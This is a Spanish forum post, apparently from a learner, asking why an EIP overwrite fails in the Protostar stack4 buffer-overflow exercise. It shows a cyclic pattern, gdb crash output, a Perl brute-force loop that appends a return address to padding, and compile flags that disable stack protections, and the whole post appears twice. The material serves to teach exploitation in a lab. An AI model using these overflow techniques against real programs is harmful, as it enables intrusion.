Hola, estoy intentando resolver los wargames de protostar:
https://exploit-exercises.com/protostar/stack4/
El problema reside en que intento sobreescribir el EIP con la dirección de memoria de la función win, pero antes debo calcular el padding a introducir:
python pattern.py create 128
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
Lo guardo en un fichero para utilizarlo desde gdb:
vi string
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
Cargo el programa:
gdb stack4
(gdb) run < string
Starting program: /root/protostar/stack4 < string
Program received signal SIGSEGV, Segmentation fault.
0x0804846a in main ()
quit
Calculo el padding pero....:
python pattern.py offset 0x0804846a
hex pattern decoded as: j
ERROR: Invalid input offset.
Si traduzco el valor del EIP mediante la siguiente web:
http://www.rapidtables.com/convert/number/hex-to-ascii.htm
j
También he intentado "brute-forcear" el padding del siguiente modo:
for i in $(seq 64 128); do echo -e "Padding: $i" && perl -e 'print "A"x'${i}' . "\x2b\x84\x04\x08"'| ./stack4 && echo -e "\n"; done
Mi sistema operativo es Debian(x86/32bits) y tengo deshabilitada la aleatorización de las direcciones de memoria:
cat /proc/sys/kernel/randomize_va_space
0
El binario fue compilado del siguiente modo:
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack stack4.c -o stack4
No entiendo porque el EIP no es sobreescrito con el valor correcto, cualquier pista/sugerencia será bienvenida.
Un saludo.
https://exploit-exercises.com/protostar/stack4/
El problema reside en que intento sobreescribir el EIP con la dirección de memoria de la función win, pero antes debo calcular el padding a introducir:
python pattern.py create 128
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
Lo guardo en un fichero para utilizarlo desde gdb:
vi string
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
Cargo el programa:
gdb stack4
(gdb) run < string
Starting program: /root/protostar/stack4 < string
Program received signal SIGSEGV, Segmentation fault.
0x0804846a in main ()
quit
Calculo el padding pero....:
python pattern.py offset 0x0804846a
hex pattern decoded as: j
ERROR: Invalid input offset.
Si traduzco el valor del EIP mediante la siguiente web:
http://www.rapidtables.com/convert/number/hex-to-ascii.htm
j
También he intentado "brute-forcear" el padding del siguiente modo:
for i in $(seq 64 128); do echo -e "Padding: $i" && perl -e 'print "A"x'${i}' . "\x2b\x84\x04\x08"'| ./stack4 && echo -e "\n"; done
Mi sistema operativo es Debian(x86/32bits) y tengo deshabilitada la aleatorización de las direcciones de memoria:
cat /proc/sys/kernel/randomize_va_space
0
El binario fue compilado del siguiente modo:
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack stack4.c -o stack4
No entiendo porque el EIP no es sobreescrito con el valor correcto, cualquier pista/sugerencia será bienvenida.
Un saludo.